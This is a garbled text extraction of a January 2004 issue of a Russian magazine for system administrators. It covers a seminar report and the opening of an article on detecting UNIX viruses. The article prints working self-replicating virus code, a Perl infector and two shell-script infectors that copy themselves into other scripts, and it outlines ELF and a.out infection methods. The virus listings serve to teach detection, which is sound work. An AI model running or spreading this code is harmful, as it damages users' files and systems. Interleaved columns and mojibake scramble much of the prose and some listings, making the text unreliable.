Вы находитесь на странице: 1из 98

№1(14) январь 2004

подписной индекс 81655


журнал для cистемных администраторов,
вебмастеров и программистов

Вирусы в UNIX, или Гибель


«Титаника» II
Безопасность
беспроводных сетей
Защита от хакерских атак
с помощью ipfw
Как бороться с rootkits
RSBAC для Linux
Active Directory – теория
построения
Эффективная работа
с портами в FreeBSD
Безопасность услуг
№1(14) январь 2004

хостинга
оглавление

КАЛЕНДАРЬ СОБЫТИЙ Безумный чертенок


Знакомство с Frenzy – портативным инструментом си-
Итоги SYSM.02 2 стемного администратора на базе ОС FreeBSD.

БЕЗОПАСНОСТЬ Александр Байрак


x01mer@pisem.net 58
Вирусы в UNIX, или Гибель «Титаника» II
Способы обнаружения вирусов. Средства защиты. Эффективная работа с портами в FreeBSD
Крис Касперски Владимир Осинцев
kk@sendmail.ru 6 oc@nm.ru 62

Что такое rootkits, и как с ними бороться Почтовый сервер с защитой от спама
Современный вариант троянского коня: набор утилит и вирусов на основе FreeBSD
rootkits. Как защититься?
Геннадий Дмитриев
Сергей Яремчук stranger03@mail.ru 68
grinder@ua.fm 24
Безопасный удаленный доступ
Безопасность беспроводных сетей к консолям оборудования
Методы атак на беспроводные сети. Рекомендации по
обеспечению безопасности. Дмитрий Ржавин
d.rzhavin@rtcomm.ru
Виктор Игнатьев Рафаэль Шарафутдинов
n4vy@nm.ru 28 rafael@soft-tronik.ru 74

Сам себе антихакер. Защита от хакерских ProxyInspector – инструмент контроля


атак с помощью ipfw за расходованием интернет-трафика
Методы сбора доступной информации об объекте на-
падения и способы защиты от них с помощью пакет- Андрей Бешков
ного фильтра ipfw. tigrisha@sysadmins.ru 80
Сергей Супрунов
amsand@rambler.ru 38 ПРОГРАММИРОВАНИЕ
Безопасность услуг хостинга
«Убиваем» зомби
Максим Костышин Как писать программы без зомби.
Maxim_kostyshin@mail.ru 46
Андрей Уваров
dashin@ua.fm 86
АДМИНИСТРИРОВАНИЕ

Rule Set Based Access Control для Linux ОБРАЗОВАНИЕ


Обзор проекта RSBAC, решающего проблему разгра-
ничения доступа пользователей. Active Directory – теория построения
Сергей Яремчук Иван Коробко
grinder@ua.fm 50 ikorobko@prosv.ru 90

№1(14), январь 2004 1


календарь событий

ИТОГИ SYSM.02
20 декабря 2003 года портал SysAdmins.RU при инфор-
мационной поддержке журнала «Системный администра-
тор» и журнала «UPGRADE» провел второй Семинар си-
стемных администраторов и инженеров, SYSM.02, в рам-
ках которого, помимо основной программы, состоялось
учредительное собрание Профсоюза специалистов в об-
ласти информационных технологий.
Более 160 человек собрались из разных городов Рос-
сии и СНГ, чтобы принять участие в Семинаре.
Безусловно, SYSM.02 удался, организаторы Семинара
создали дружественную и позитивную атмосферу, благопри-
ятную для общения, обмена опытом, знаниями и идеями.
В первой части Семинара было представлено четыре
обширных информационных доклада. В перерывах меж-
ду выступлениями продолжались дискуссии. Участники
Семинара – Дмитрий Головин и Алексей Костромин де-
лятся своими впечатлениями и дают краткий обзор каж-
дого выступления: Ìèõàèë Òîð÷èíñêèé, ôîòî Àëåêñåÿ Êîñòðîìèíà
половому, национальному и прочим признакам, положе-
ние на рынке труда в целом – острые и актуальные темы
для сферы IT. После окончания доклада, который, по сути,
прошел как диалог с залом, Михаила Торчинского еще
долго не отпускали, и некоторые наши коллеги пожертво-
вали обедом ради интересного и живого общения с ним.
Выступление Игоря Ляпунова состояло из двух час-
тей: первая – о возможных путях построения безопаснос-
ти в локальной сети для начинающих системных админи-
страторов. Вторая часть выступления «Решения
NetScreen: архитектура, применение, администрирование,
перспективы» носила скорее рекламный характер.

Àíäðåé Áåøêîâ, ôîòî Àëåêñåÿ Êîñòðîìèíà


«Тема, которую Андрей Бешков поднял в своем док-
ладе «Virtual computing. Полигон для кроссплатформен-
ной разработки, моделирования и тестирования моделей
локальных сетей и серверных комплексов перед внедре-
нием» была интересна большому числу IT-специалистов:
как системным администраторам, так и разработчикам.
Специалисты более подробно ознакомились с возможно-
стями программного обеспечения VMWare, Андрей Беш-
ков на примерах показал, как при помощи данного ПО на
одном компьютере организовать маленькую работающую
локальную сеть (с маршрутизаторами, шлюзами, разны-
ми подсетями и прочим оборудованием, которое необхо-
димо для полноценной работы).
Следующим был доклад Михаила Торчинского «Обзор- Èãîðü Ëÿïóíîâ, ôîòî Àëåêñàíäðà Íåì÷åíêî
ный анализ основных направлений развития карьеры IT- Наконец, доклад «Новые технологии конфигурирова-
специалиста в России». ния для систем ALT Linux. Архитектура, возможности, пер-
Его выступление, пожалуй, можно отнести к одному спективы» Олега Власенко был обзорным, более деталь-
из ключевых, за короткий промежуток времени были об- но тема будет раскрыта на специализированном семина-
суждены вопросы, связанные с трудоустройством, опла- ре, который будет проводить компания ALTLinux в февра-
той труда, переменой места работы, дискриминацией по ле 2004 года».

2
календарь событий
профсоюза, привлечение региональных компаний IT-рын-
ка к реализации программ профсоюза в регионах.
По всем пунктам, представленным в программе, есть
договорённости с компаниями, которые сотрудничают с
профсоюзом. По социальному направлению разработана
программа страхования: каждый член профсоюза с фев-
раля 2004 года будет застрахован от несчастных случаев,
которые могут повлечь за собой потерю трудоспособнос-
ти. Всероссийское молодежное аэрокосмическое общество
«Союз» предоставляет бесплатные путёвки для детей чле-
нов профсоюза в детские лагеря отдыха. Основная идея
учебного направления – предоставить члену профсоюза
возможность получить специальные знания и навыки, ко-
торые помогут ему успешно спланировать свою карьеру.
Программа профсоюза весьма обширна, здесь представ-
Îëåã Âëàñåíêî, ôîòî Àëåêñåÿ Êîñòðîìèíà лена только малая толика того, что запланировано.
Во второй части Семинара состоялось учредительное
собрание Профсоюза специалистов в области информа-
ционных технологий.
Подробности – в пресс-релизе, подготовленным Ма-
рией Антоновой:
«Профсоюз представляет собой объединение систем-
ных и сетевых администраторов, программистов, веб-ма-
стеров, контент-редакторов, технических писателей, спе-
циалистов в области информационной безопасности, IT-
менеджеров, IT-аналитиков, руководителей IT-департа-
ментов и всех тех, кто работает в сфере информацион-
ных технологий. Это объединение имеет все шансы стать
действенным инструментом защиты прав своих членов.
Более 100 участников Семинара стали первыми чле-
нами профсоюза. Состоялось собрание, на котором в
результате голосования было избрано Правление и ут-
верждена предложенная Программа работы профсою-
за на 2004 год.
Àëåêñåé Ëèïîâöåâ, îðãàíèçàòîð SYSM.02, ôîòî Àëåêñàíäðà Íåì÷åíêî
По словам Алексея Липовцева, Председателя Прав-
ления профсоюза: «Начало положено, и довольно успеш-
но. В планах – развивать профсоюз в 2004 году, разраба-
тывать и реализовывать программы обучения, трудоуст-
ройства и поддержки членов профсоюза, развивать со-
циальное направление работы.»
Более подробную информацию о деятельности проф-
союза IT-специалистов вы можете найти на официальном
сайте http://ITCU.ru».

Îáñóæäåíèå ïðîãðàììû ïðîôñîþçà, ôîòî Àëåêñåÿ Ôîìèíà


В состав Правления вошла группа учредителей Проф-
союза, которая занималась претворением в жизнь этого
проекта. Учредителями был проделан огромный труд: про-
ведена разработка Устава профсоюза, Программы работы
профсоюза на 2004 год, заключение договоренностей о со-
трудничестве с различными компаниями и организациями,
оформление соответствующих юридических документов.
Программа работы профсоюза на 2004 год охватыва-
ет юридическое, социальное, трудовое и учебное направ-
ления, а также предусматривает создание первичных
профсоюзных организаций и региональных отделений Ïåòð Áî÷àðîâ, îðãàíèçàòîð SYSM.02, ôîòî Àëåêñàíäðà Íåì÷åíêî

№1(14), январь 2004 3


безопасность

ВИРУСЫ В UNIX,
ИЛИ ГИБЕЛЬ «ТИТАНИКА» II
Ночью 14 апреля 1912 года принадлежавший
Британии непотопляемый океанский лайнер «Титаник»
столкнулся с айсбергом и утонул, унеся с собой жизни
более пятнадцати сотен из двух тысяч двухсот
пассажиров… Поскольку «Титаник» был непотопляем,
на нем не хватило спасательных шлюпок.
Джозеф Хеллер
«Вообрази себе картину»

Считается, что в UNIX-системах вирусы не живут – они там дохнут. Отчасти это действительно так,
однако не стоит путать принципиальную невозможность создания вирусов с их отсутствием как
таковых. В действительности же UNIX-вирусы существуют, и на настоящий момент (начало 2004 года)
их популяция насчитывает более двух десятков. Немного? Не торопитесь с выводами. «Дефицит» UNIX-
вирусов носит субъективный, а не объективный характер. Просто в силу меньшей распространенности
UNIX-подобных операционных систем и специфики их направленности в этом мире практически
не встречается даунов и вандалов. Степень защищенности операционной системы тут не при чем.
Надеяться, что UNIX справится с вирусами и сама, несколько наивно и, чтобы не разделить судьбу
«Титаника», держите защитные средства всегда под рукой, тщательно проверяя каждый запускаемый
файл на предмет наличия заразы. О том, как это сделать, и рассказывает настоящая статья.

КРИС КАСПЕРСКИ

6
безопасность
Исторически сложилось так, что первым нашумевшим ви- Что бы там ни говорили фанатики UNIX, но вирусы раз-
русом стал Червь Морриса, запущенный им в Сеть 2 но- множаются и на этой платформе. Отмахиваться от этой
ября 1988 года и поражающий компьютеры, оснащенные проблемы означает уподобиться страусу. Вы хотите быть
4 BSD UNIX. Задолго до этого, в ноябре 1983 г., доктор страусами? Я думаю – нет!
Фредерик Коэн (Dr. Frederick Cohen) доказал возможность
существования саморазмножающихся программ в защи- Условия, необходимые
щенных операционных системах, продемонстрировав не- для функционирования вирусов
сколько практических реализаций для компьютеров типа Памятуя о том, что общепринятого определения «компь-
VAX, управляемых операционной системой UNIX. Счита- ютерных вирусов» не существует, условимся обозначать
ется, что именно он впервые употребил термин «вирус». этим термином все программы, способные к скрытому
На самом деле между этими двумя событиями нет размножению. Последнее может быть как самостоятель-
ничего общего. Вирус Морриса распространялся через ным (поражение происходит без каких-либо действий со
дыры в стандартном программном обеспечении (кото- стороны пользователя: достаточно просто войти в сеть),
рые, кстати говоря, долгое время оставались незакры- так и нет (вирус пробуждается только после запуска ин-
тыми), в то время как Коэн рассматривал проблему са- фицированной программы).
моразмножающихся программ в идеализированной опе- Сформулируем минимум требований, «предъявляе-
рационной системе без каких-либо дефектов в системе мых» саморазмножающимися программами к окружаю-
безопасности. Наличие дыр просто увеличило масшта- щей среде (кстати, почему бы окружающую среду не на-
бы эпидемии и сделало размножение вируса практичес- звать окружающим четвергом?):
ки неконтролируемым. ! в операционной системе имеются исполняемые
А теперь перенесемся в наши дни. Популярность UNIX- объекты;
подобных систем стремительно растет и интерес к ним ! эти объекты возможно модифицировать и/или созда-
со стороны вирусописателей все увеличивается. Квали- вать новые;
фикация системных администраторов (пользователей ! происходит обмен исполняемыми объектами между
персональных компьютеров и рабочих станций), напро- различными ареалами обитания.
тив, неуклонно падает. Все это создает благоприятную
среду для воспроизводства и размножения вирусов, и Под «исполняемым объектом» здесь понимается не-
процесс их разработки в любой момент может принять которая абстрактная сущность, способная управлять по-
лавинообразный характер, – стоит только соответствую- ведением компьютера по своему усмотрению. Конечно,
щим технологиям попасть в массы. Готово ли UNIX-сооб- это не самое удачное определение, но всякая попытка
щество противостоять этому? Нет! Судя по духу, витаю- конкретизации неизбежно оборачивается потерей зна-
щему в телеконференциях, и общему настроению адми- чимости. Например, текстовый файл в формате ASCII
нистраторов, UNIX считается непотопляемой системой, и интерпретируется вполне определенным образом и на
вирусная угроза воспринимается крайне скептически. первый взгляд средой обитания вируса быть никак не
Между тем, качество тестирования программного обес- может. Однако, если текстовой процессор содержит
печения (неважно, распространяемого в открытых исход- ошибку типа «buffer overfull», существует вполне реаль-
ных текстах или нет) достаточно невелико и, по меткому ная возможность внедрения в файл машинного кода с
выражению одного из хакеров, один-единственный последующей передачей на него управления. А это зна-
SendMail содержит больше дыр, чем все Windows-прило- чит, что мы не можем априори утверждать, какой объект
жения вместе взятые. Большое количество различных исполняемый, а какой нет.
дистрибутивов UNIX-систем многократно снижает влия- В плане возвращения с небес теоретической экзотики
ние каждой конкретной дырки, ограничивая ареал обита- на грешну землю обетованну, ограничим круг своих ин-
ния вирусов сравнительно небольшим количеством ма- тересов тремя основными типами исполняемых объектов:
шин, однако в условиях всеобщей глобализации и высо- дисковыми файлами, оперативной памятью и загрузоч-
коскоростных интернет-каналов даже чрезвычайно изби- ными секторами.
рательный вирус способен поразить тысячи компьютеров Процесс размножения вирусов в общем случае сво-
за считанные дни или даже часы! дится к модификации исполняемых объектов с таким рас-
Распространению вирусов невероятно способствует четом, чтобы хоть однажды в жизни получить управле-
тот факт, что в подавляющем большинстве случаев сис- ние. Операционные системы семейства UNIX по умолча-
тема конфигурируется с довольно демократичным уров- нию запрещают пользователям модифицировать испол-
нем доступа. Иногда это происходит по незнанию и/или няемые файлы, предоставляя эту привилегию лишь root.
небрежности системных администраторов, иногда по Это чрезвычайно затрудняет размножение вирусов, но
«производственной» необходимости. Если на машине отнюдь не делает его невозможным! Во-первых, далеко
постоянно обновляется большое количество программно- не все пользователи UNIX осознают опасность регистра-
го обеспечения (в том числе и создаваемого собственны- ции с правами root, злоупотребляя ей безо всякой необ-
ми силами), привилегии на модификацию исполняемых ходимости. Во-вторых, некоторые приложения только под
файлов становятся просто необходимы, в противном слу- root и работают, причем создать виртуального пользова-
чае процесс общения с компьютером из радости рискует теля, изолированного от всех остальных файлов систе-
превратиться в мучение. мы, в некоторых случаях просто не получается. В-треть-

№1(14), январь 2004 7


безопасность
их, наличие дыр в программном обеспечении позволяет ! в мире UNIX скрипты вездесущи;
вирусу действовать в обход установленных ограничений. ! модификация большинства файлов скриптов разре-
Тем более, что помимо собственно самих исполняе- шена;
мых файлов в UNIX-системах имеются и чрезвычайно ! скрипты зачастую состоят из сотен строк кода, в кото-
широко используются интерпретируемые файлы (далее рых очень легко затеряться;
по тексту просто скрипты). Причем, если в мире Windows ! скрипты наиболее абстрагированы от особенностей
командные файлы играют сугубо вспомогательную роль, реализации конкретного UNIX;
то всякий уважающий себя UNIX-пользователь любое ! возможности скриптов сопоставимы с языками высо-
мало-мальски часто выполняемое действие загоняет в кого уровня (Си, Бейсик, Паскаль);
отдельный скрипт, после чего забывает о нем напрочь. ! скриптами пользователи обмениваются более интен-
На скриптах держится не только командная строка, но и сивно, чем исполняемыми файлами.
программы генерации отчетов, интерактивные веб-стра-
нички, многочисленные управленческие приложения и т. д. Большинство администраторов крайне пренебрежи-
Модификация файлов скриптов, как правило, не требует тельно относятся к скриптовым вирусам, считая их «не-
никаких особенных прав, и потому они оказываются впол- настоящими». Между тем, системе по большому счету все
не перспективной кандидатурой для заражения. Также равно, каким именно вирусом быть атакованной – насто-
вирусы могут поражать и исходные тексты программ, и ящим или нет. При кажущейся игрушечности скрипт-ви-
исходные тексты операционной системы, с компилятором русы представляют собой достаточно серьезную угрозу.
в том числе (их модификация в большинстве случаев раз- Ареал их обитания практически безграничен – они успеш-
решена). но поражают как компьютеры с процессорами Intel
Черви могут вообще подолгу не задерживаться в од- Pentium, так и DEC Alpha/SUN SPARС. Они внедряются в
ном компьютере, используя его лишь как временное при- любое возможное место (конец/начало/середину) заража-
станище для рассылки своего тела на другие машины. емого файла. При желании они могут оставаться рези-
Однако большинство червей все же предпочитают осед- дентно в памяти, поражая файлы в фоновом режиме. Ряд
лый образ жизни кочевому, внедрясь в оперативную и/или скрипт-вирусов используют те или иные Stealth-техноло-
долговременную память. Для своего размножения черви гии, скрывая факт своего присутствия в системе. Гений
обычно используют дефекты операционной системы и/или инженерной мысли вирусописателей уже освоил полимор-
ее окружения, обеспечивающие возможность удаленно- физм, уравняв тем самым скрипт-вирусы в правах с ви-
го выполнения программного кода. Ряд вирусов распрос- русами, поражающими двоичные файлы.
траняется через прикрепленные к письму файлы (в ку- Каждый скрипт, полученный извне, перед установ-
рилках именуемые аттачами от английского attachment – кой в систему должен быть тщательным образом про-
вложение) в надежде, что доверчивый пользователь за- анализирован на предмет присутствия заразы. Ситуа-
пустит их. К счастью, UNIX-пользователи в своей массе ция усугубляется тем, что скрипты, в отличие от двоич-
не настолько глупы, чтобы польститься на столь очевид- ных файлов, представляют собой plain-текст, начисто
ную заразу. лишенный внутренней структуры, а потому при его за-
Откровенно говоря, причина низкой активности виру- ражении никаких характерных изменений не происхо-
сов кроется отнюдь не в защищенности UNIX, но в приня- дит. Единственное, что вирус не может подделать – это
той схеме распространения программного обеспечения. стиль оформления листинга. Почерк каждого програм-
Обмена исполняемыми файлами между пользователями миста строго индивидуален. Одни используют табуля-
UNIX практически не происходит. Вместо этого они пред- цию, другие предпочитают выравнивать строки посред-
почитают скачивать требующиеся им программы с ори- ством пробелов. Одни разворачивают конструкции if –
гинального источника, зачастую в исходных текстах. Не- else на весь экран, другие умещают их в одну строку.
смотря на имеющиеся прецеденты взлома web/ftp-серве- Одни дают всем переменным осмысленные имена, дру-
ров и троянизации их содержимого, ни одной мало-маль- гие используют одно-двух символьную абракадабру в
ски внушительной эпидемии еще не случилось, хотя ло- стиле «A», «X», «FN» и т. д. Даже беглый просмотр за-
кальные очаги «возгорания» все-таки были. раженного файла позволяет обнаружить инородные
Агрессивная политика продвижения LINUX веролом- вставки (конечно, при том условии, что вирус не пере-
но проталкивает эту ОС на рынок домашних и офисных форматирует поражаемый объект).
ПК, т.е. в те сферы, где UNIX не только не сильна, но и по-
просту не нужна. Оказавшись в кругу неквалифицирован- Ëèñòèíã 1. Ïðèìåð âèðóñà, îáíàðóæèâàþùåãî ñåáÿ ïî ñòèëþ
ных пользователей, UNIX автоматически потеряет звание #!/usr/bin/perl #PerlDemo
свободной от вирусов системы, и опустошительные эпиде- open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) ↵
мии не заставят себя ждать. Встретим мы их во всеоружии && (-w $FileName) && (-f $FileName)) {
или в очередной раз дадим маху, вот в чем вопрос… open(File, "$FileName"); @Temp=<File>; close(File); ↵
if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { ↵
Вирусы в скриптах open(File, ">$FileName"); print File @Virus;
print File @Temp; close (File); } } } }
Как уже отмечалось выше, скрипты выглядят достаточно
привлекательной средой для обитания вирусов, и вот по- Дальше. Грамотно спроектированный вирус поража-
чему: ет только файлы «своего» типа, в противном случае он

8
безопасность
быстро приведет систему к краху, демаскируя себя и па- тарий. Строго говоря, гарантированная уникальность ви-
рализуя дальнейшее распространение. Поскольку в мире русам совершенно не нужна. Достаточно, чтобы ключе-
UNIX-файлам не принято давать расширения, задача по- вая метка отсутствовала более чем в половине неинфи-
иска подходящих жертв существенно осложняется, и ви- цированных файлов. Поиск ключевой метки может осу-
русу приходится явно перебирать все файлы один за од- ществляться как командами find/greep, так и построчеч-
ним, определяя их тип вручную. ным чтением из файла с последующим сравнением до-
Существуют по меньшей мере две методики такого оп- бытых строк с эталоном. Скрипты командных интерпре-
ределения: отождествление командного интерпретатора таторов используют для этой цели команды head и tail,
и эвристический анализ. Начнем с первого из них. Если в применяемые совместно с оператором «=», ну а Perl-ви-
начале файла стоит магическая последовательность «#!», русы все больше тяготеют к регулярным выражениям, что
то остаток строки содержит путь к программе, обрабаты- существенно затрудняет их выявление, т.к. без регуляр-
вающей данный скрипт. Для интерпретатора Борна эта ных выражений не обходится практически ни одна Perl-
строка обычно имеет вид «#!/bin/sh», а для Perl – «#!/usr/ программа.
bin/perl». Таким образом, задача определения типа фай- Другой возможной зацепкой является переменная
ла в общем случае сводится к чтению его первой строки «$0», используемая вирусами для определения собствен-
и сравнению ее с одним или несколькими эталонами. Если ного имени. Не секрет, что интерпретируемые языки про-
только вирус не использовал хеш-сравнение, эталонные граммирования не имеют никакого представления о том,
строки будут явно присутствовать в зараженном файле, каким именно образом скрипты размещаются в памяти,
легко обнаруживая себя тривиальным контекстным поис- и при всем желании не могут «дотянуться» до них. А раз
ком (см. листинги 2, 3). так, то единственным способом репродуцирования свое-
Девять из десяти скрипт-вирусов ловятся на этот не- го тела остается чтение исходного файла, имя которого
замысловатый прием, остальные же тщательно скрыва- передается в нулевом аргументе командной строки. Это
ют эталонные строки от посторонних глаз (например, достаточно характерный признак заражения исследуемо-
шифруют их или же используют посимвольное сравне- го файла, ибо существует очень немного причин, по ко-
ние). Однако в любом случае перед сравнением строки торым программа может интересоваться своим названи-
с эталоном вирус должен ее считать. В командных фай- ем и путем.
лах для этой цели обычно используются команды greep Впрочем, существует (по крайней мере теоретически)
или head. Конечно, их наличие в файле еще не свиде- и альтернативный способ размножения. Он работает по
тельствует о зараженности последнего, однако позво- тем же принципам, что и программа, распечатывающая
ляет локализовать жизненно важные центры вируса, сама себя (в былое время без этой задачки не обходи-
ответственные за определения типа файла, что значи- лась ни одна олимпиада по информатике). Решение сво-
тельно ускоряет его анализ. В Perl-скриптах чтение фай- дится к формированию переменной, содержащей про-
ла чаще всего осуществляется через оператор «< >», граммный код вируса, с последующим внедрением оного
реже используются функции read/readline/getc. Тот факт, в заражаемый файл. В простейшем случае для этого ис-
что практически ни одна мало-мальски серьезная Perl- пользуется конструкция «<<», позволяющая скрыть факт
программа не обходится без файлового ввода/вывода, внедрения программного кода в текстовую переменную
чрезвычайно затрудняет выявление вирусного кода, осо- (и это выгодно отличает Perl от Си). Построчная генера-
бенно если чтение файла происходит в одной ветке про- ция кода в стиле «@Virus[0]= “\#\!\/usr\/bin\/perl”» встреча-
граммы, а определение его типа – совсем в другой. Это ется реже, т.к. слишком громоздко, непрактично и к тому
затрудняет автоматизированный анализ, но еще не де- же наглядно (в смысле даже при беглом просмотре лис-
лает его невозможным! тинга выдает вирус с головой).
Эвристические алгоритмы поиска жертвы состоят в Зашифрованные вирусы распознаются еще проще.
выделении уникальных последовательностей, присущих Наиболее примитивные экземпляры содержат большое
файлам данного типа и не встречающихся ни в каких количество «шумящих» двоичных последовательностей
других. Так, наличие последовательности «if [» с веро- типа «\x73\xFF\x33\x69\x02\x11…», чьим флагманом явля-
ятностью близкой к единице указывает на командный ется спецификатор «\x», за которым следует ASCII-код
скрипт. Некоторые вирусы отождествляют командные зашифрованного символа. Более совершенные вирусы
файлы по строке «Bourne», которая присутствует в не- используют те или иные разновидности UUE-кодирова-
которых, хотя и далеко не всех скриптах. Естественно, ния, благодаря чему все зашифрованные строки выгля-
никаких универсальных приемов распознавания эврис- дят вполне читабельно, хотя и представляют собой бес-
тических алгоритмов не существует (на то они и эврис- смысленную абракадабру вроде «UsKL[aS4iJk». Учитывая,
тические алгоритмы). что среднеминимальная длина Perl-вирусов составляет
Во избежание многократного инфицирования файла- порядка 500 байт, затеряться в теле жертвы им легко.
носителя вирусы должны уметь распознавать факт свое- Теперь рассмотрим пути внедрения вируса в файл.
го присутствия в нем. Наиболее очевидный (и популяр- Файлы командного интерпретатора и программы, напи-
ный!) алгоритм сводится к внедрению специальной клю- санные на языке Perl, представляют собой неиерархичес-
чевой метки (вроде «это я – Вася»), представляющей со- кую последовательность команд, при необходимости
бой уникальную последовательность команд, так сказать, включающую в себя определения функций. Здесь нет
сигнатуру вируса или же просто замысловатый коммен- ничего, хотя бы отдаленно похожего на функцию main язы-

№1(14), январь 2004 9


безопасность
ка Си или блок BEGIN/END языка Паскаль. Вирусный код, бой тщательностью, не забывая о том, что вирус может
тупо дописанный в конец файла, с вероятностью 90% содержать некоторое количество «отвлекающих» команд,
успешно получит управление и будет корректно рабо- имитирующих ту или иную работу.
тать. Оставшиеся 10% приходятся на случаи преждев- Встречаются и вирусы-спутники, вообще не «дотраги-
ременного выхода из программы по exit или ее принуди- вающиеся» до оригинальных файлов, но во множестве
тельного завершения по <Ctrl-C>. Для копирования сво- создающие их «двойников» в остальных каталогах. По-
его тела из конца одного файла в конец другого вирусы клонники чистой командной строки, просматривающие
обычно используют команду «tail», вызывая ее прибли- содержимое директорий через ls могут этого и не заме-
зительно так: тить, т.к. команда ls вполне может иметь «двойника», пре-
дусмотрительно убирающего свое имя из списка отобра-
Ëèñòèíã 2. Ôðàãìåíò âèðóñà UNIX.Tail.a, äîïèñûâàþùåãî ñåáÿ жаемых файлов.
â êîíåö ôàéëà (îðèãèíàëüíûå ñòðîêè ôàéëà-æåðòâû âûäåëåíû
ñèíèì) Не стоит забывать и о том, что создателям вирусов не
чуждо элементарное чувство беспечности, и откровенные
#!/bin/sh
echo "Hello, World!" наименования процедур и/или переменных в стиле
«Infected», «Virus», «ZARAZA» – отнюдь не редкость.
for F in *
do Иногда вирусам (особенно полиморфным и зашифро-
if ["$(head -c9 $F 2>/dev/null)"="#!/bin/sh" ↵ ванным) требуется поместить часть программного кода
-a "$(tail -1 $F 2>/dev/null)"!="#:-P"]
then во временный файл, полностью или частично передав ему
tail -8 $0 >> $F 2>/dev/null бразды правления. Тогда в теле скрипта появляется ко-
fi
done манда «chmod +x», присваивающая файлу атрибут испол-
няемого. Впрочем, не стоит ожидать, что автор вируса
Другие вирусы внедряются в начало файла, перехва- окажется столь ленив и наивен, что не предпримет ника-
тывая все управление на себя. Некоторые из них содер- ких усилий для сокрытия своих намерений. Скорее всего
жат забавную ошибку, приводящую к дублированию стро- нам встретится что-то вроде: «chmod $attr $FileName».
ки «!#/bin/xxx», первая из которых принадлежит вирусу, а Òàáëèöà 1. Ñâîäíàÿ òàáëèöà íàèáîëåå õàðàêòåðíûõ ïðèçíàêîâ íà-
вторая – самой зараженной программе. Наличие двух ëè÷èÿ âèðóñà ñ êðàòêèìè êîììåíòàðèÿìè (ïîäðîáíîñòè ïî òåêñòó)
магических последовательностей «!#» в анализируемом
файле красноречиво свидетельствует о его заражении,
однако подавляющее большинство вирусов обрабатыва-
ет эту ситуацию вполне корректно, копируя свое тело не
с первой, а со второй строки. Типичный пример такого
вируса приведен ниже:

Ëèñòèíã 3. Ôðàãìåíò âèðóñà UNIX.Head.b, âíåäðÿþùåãîñÿ â íà÷à-


ëî ôàéëà (îðèãèíàëüíûå ñòðîêè ôàéëà-æåðòâû âûäåëåíû ñèíèì)
#!/bin/sh

for F in *
do
if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then
head -11 $0 > tmp
cat $F >> tmp Ëèñòèíã 4. Ôðàãìåíò Perl-âèðóñà UNIX.Demo
mv tmp $F
fi #!/usr/bin/perl
done #PerlDemo

echo "Hello, World!" open(File,$0);


@Virus=<File>;
@Virus=@Virus[0...27];
Некоторые, весьма немногочисленные вирусы вне- close(File);
дряются в середину файла, иногда перемешиваясь с его
foreach $FileName (<*>)
оригинальным содержимым. Естественно, для того что- {
бы процесс репродуцирования не прекратился, вирус if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
должен каким-либо образом помечать «свои» строки open(File, "$FileName");
(например, снабжать их комментарием «#MY LINE») либо @Temp=<File>;
close(File);
же внедряться в фиксированные строки (например, на- if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
чиная с тринадцатой строки, каждая нечетная строка {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
файла содержит тело вируса). Первый алгоритм слиш- {
ком нагляден, второй – слишком нежизнеспособен (часть open(File, ">$FileName");
print File @Virus;
вируса может попасть в одну функцию, а часть – совсем print File @Temp;
в другую), поэтому останавливаться на этих вирусах мы close (File);
}
не будем. }
Таким образом, наиболее вирусоопасными являются }
}
начало и конец всякого файла. Их следует изучать с осо-

10
безопасность
Эльфы в заповедном лесу common/media/vil/pdf/mvanvoers_VB_conf%202000.pdf
За всю историю существования UNIX было предложено («Linux Viruses – ELF File Format»).
множество форматов двоичных исполняемых файлов, Не секрет, что у операционных систем Windows NT и
однако к настоящему моменту в более или менее упот- UNIX много общего, и механизм заражения ELF/COFF/
ребляемом виде сохранились лишь три из них: a.out, COFF a.out файлов с высоты птичьего полета ничем не отлича-
и ELF. ется от заражения форматов семейства NewExe. Тем не
Формат a.out (Assembler and link editor OUTput files) – менее, при всем поверхностном сходстве между ними есть
самый простой и наиболее древний из трех перечислен- и различия.
ных, появившийся еще во времена господства PDP-11 и Существует по меньшей мере три принципиально раз-
VAX. Он состоит из трех сегментов: .text (сегмент кода), личных способа заражения файлов, распространяемых в
.data (сегмент инициализированных данных) и .bss (сег- формате a.out:
мент неинициализированных данных), двух таблиц пе- ! «поглощение» оригинального файла с последующей
ремещаемых элементов (по одной для сегментов кода его записью в tmp и удалением после завершения вы-
и данных), таблицы символов, содержащей адреса эк- полнения (или – «ручная» загрузка файла-жертвы как
спортируемых/импортируемых функций, и таблицы вариант);
строк, содержащей имена последних. К настоящему ! расширение последней секции файла и дозапись сво-
моменту формат a.out считается устаревшим и практи- его тела в ее конец;
чески не используется. Краткое, но вполне достаточ- ! сжатие части оригинального файла и внедрение свое-
ное для его освоения руководство содержится в man го тела на освободившееся место.
Free BSD. Также рекомендуется изучить включаемый
файл a.out.h, входящий в комплект поставки любого Переход на файлы формата ELF или COFF добавляет
UNIX-компилятора. еще четыре:
Формат COFF (Common Object File Format) – прямой ! расширение кодовой секции файла и внедрение свое-
наследник a.out – представляет собой существенно усо- го тела на освободившееся место;
вершенствованную и доработанную версию последнего. ! сдвиг кодовой секции вниз с последующей записью
В нем появилось множество новых секций, изменился своего тела в ее начало;
формат заголовка (и в том числе появилось поле дли- ! создание своей собственной секции в начале, середи-
ны, позволяющее вирусу вклиниваться между заголов- не или конце файла;
ком и первой секцией файла), все секции получили воз- ! внедрение между файлом и заголовком.
можность проецироваться по любому адресу виртуаль-
ной памяти (для вирусов, внедряющихся в начало и/или Внедрившись в файл, вирус должен перехватить на
середину файла, это актуально) и т. д. Формат COFF себя управление, что обычно осуществляется следующи-
широко распространен в мире Windows NT (PE-файлы ми путями:
представляют собой слегка модифицированный COFF), ! созданием собственного заголовка и собственного сег-
но в современных UNIX-системах он практически не ис- мента кода/данных, перекрывающего уже существу-
пользуется, отдавая дань предпочтения формату ELF. ющий;
Формат ELF (Executable and Linkable Format, хотя не ! коррекцией точки входа в заголовке файла-жертвы;
исключено, что формат сначала получил благозвучное ! внедрением в исполняемый код файла-жертвы коман-
название, под которое потом подбиралась соответствую- ды перехода на свое тело;
